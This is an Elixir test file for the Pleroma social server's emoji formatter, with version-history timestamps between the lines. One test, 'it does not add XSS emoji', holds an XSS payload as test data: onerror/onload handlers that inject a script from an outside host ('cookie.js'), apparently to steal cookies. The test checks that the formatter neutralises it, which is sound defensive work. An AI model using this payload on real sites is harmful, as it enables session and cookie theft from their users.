2019-08-29 13:01:37 -06:00
# Pleroma: A lightweight social networking server
2021-01-12 23:49:20 -07:00
# Copyright © 2017-2021 Pleroma Authors <https://pleroma.social/>
2019-08-29 13:01:37 -06:00
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji.Formatter
2020-12-21 04:21:40 -07:00
use Pleroma.DataCase , async : true
2019-08-29 13:01:37 -06:00
describe " emojify " do
test " it adds cool emoji " do
text = " I love :firefox: "
expected_result =
2022-11-27 14:45:41 -07:00
" I love <img alt= \" firefox \" title= \" firefox \" src= \" /emoji/Firefox.gif \" /> "
2019-08-29 13:01:37 -06:00
assert Formatter . emojify ( text ) == expected_result
end
test " it does not add XSS emoji " do
text =
" I love :'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a): "
2019-08-31 01:14:53 -06:00
custom_emoji =
{
" 'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a) " ,
2019-08-29 13:01:37 -06:00
" https://placehold.it/1x1 "
2019-08-31 01:14:53 -06:00
}
|> Pleroma.Emoji . build ( )
2019-08-29 13:01:37 -06:00
2019-10-29 11:49:32 -06:00
refute Formatter . emojify ( text , [ { custom_emoji . code , custom_emoji } ] ) =~ text
2019-08-29 13:01:37 -06:00
end
end
2020-04-03 05:03:32 -06:00
describe " get_emoji_map " do
2019-08-29 13:01:37 -06:00
test " it returns the emoji used in the text " do
2020-04-03 05:03:32 -06:00
assert Formatter . get_emoji_map ( " I love :firefox: " ) == %{
" firefox " = > " http://localhost:4001/emoji/Firefox.gif "
}
2019-08-29 13:01:37 -06:00
end
test " it returns a nice empty result when no emojis are present " do
2020-04-03 05:03:32 -06:00
assert Formatter . get_emoji_map ( " I love moominamma " ) == %{ }
2019-08-29 13:01:37 -06:00
end
test " it doesn't die when text is absent " do
2020-04-03 05:03:32 -06:00
assert Formatter . get_emoji_map ( nil ) == %{ }
2019-08-29 13:01:37 -06:00
end
end
end